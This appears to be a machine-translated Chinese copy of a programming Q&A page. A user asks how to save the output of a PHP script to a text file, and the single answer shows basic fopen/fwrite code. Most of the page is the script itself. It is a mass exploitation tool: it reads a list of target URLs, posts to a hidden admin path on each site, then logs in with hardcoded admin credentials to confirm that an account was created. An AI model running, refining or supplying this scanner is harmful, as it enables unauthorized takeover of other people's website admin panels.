你能告诉我如何保存输出吗?

时间:2016-04-22 13:46:59

标签: php

我制作一些PHP脚本来扫描bug,但是当我尝试将结果保存到文件txt或者日志已经尝试了一些公式但是效果不好时我有一些问题

这是代码

error_reporting(0);
$get=file_get_contents($argv[1]) 
or die("
\n\tError !
\n\tusage => php scan.php list.txt\n\n");
$j=explode("\r\n",$get);
foreach($j as $url){

print "\n\n\t[+] Exploiting => ".$url;
$dirnya = "/login/secure/adm";

$postdata = 'check=blalalalalalal';

$ch = curl_init(); 
curl_setopt ($ch, CURLOPT_URL, $url.$dirnya); 
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($ch, CURLOPT_TIMEOUT, 60); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata); 
curl_setopt ($ch, CURLOPT_POST, 1); 
$headers  = array();
$headers[] = 'Accept-Encoding: gzip, deflate';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';

curl_setopt ($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($ch, CURLOPT_HEADER, 1);
$result = curl_exec ($ch);
curl_close($ch);

#Exploitasi berhasil dan memulai cek Login setelah exploitasi
if(preg_match('#200 OK#', $result)) {
print "\n\t[+] Exploiting Success, mulai mengecek login..";
$loginpage = $url."/adm";
$logindata = 'key=3ryAIBlm7bJ3naj9&login%5Badm_usr%5D=memek&login%5Badm_pswd%5D=memeklegit';

$hydra_ch = curl_init(); 
curl_setopt ($hydra_ch, CURLOPT_URL, $loginpage); 
curl_setopt ($hydra_ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"); 
curl_setopt ($hydra_ch, CURLOPT_TIMEOUT, 60); 
curl_setopt ($hydra_ch, CURLOPT_RETURNTRANSFER, 1); 
curl_setopt ($hydra_ch, CURLOPT_POSTFIELDS, $logindata); 
curl_setopt ($hydra_ch, CURLOPT_POST, 1); 

$headers  = array();
$headers[] = 'Accept-Encoding: gzip, deflate';
$headers[] = 'Content-Type: application/x-www-form-urlencoded';

curl_setopt ($hydra_ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt ($hydra_ch, CURLOPT_HEADER, 1);
$hasil = curl_exec ($hydra_ch);
curl_close($hydra_ch); 


if(preg_match('#302 Moved#', $hasil)) {

这是代码的一部分

print "\n\t[+] Login Success ! \n\t[+] user => memek  \n\t[+] password => memekbau";
print "\n\t[-] Login Page => ".$loginpage;
}
else {
#Exploitasi berhasil dan namun admin user tidak masuk ke database.
print "\n\t[-] Login Failed :( ";
print "\n\t[-] Keterangan : admin user tidak masuk.\n";}
}else {

#Exploitasi gagal total 
print "\n\t[-] Exploitasi Failed :(\n ";}

}

并在运行脚本

时输出
[+] Exploiting => localhost
[+] Exploiting Success, mulai mengecek login..
[+] Login Success !
[+] user => memek
[+] password => memekbau
[-] Login Page => localhost/adm

我的问题如何将输出保存到文件txt或log?

谢谢

1 个答案:

答案 0 :(得分:0)

如果您想创建新文件并写入其中,请使用以下代码。将所有输出存储在一个变量中。

$content = "some text here\n";
$content .= "text on new line";
$fp = fopen($_SERVER['DOCUMENT_ROOT'] . "/output.txt","wb");
fwrite($fp,$content);
fclose($fp);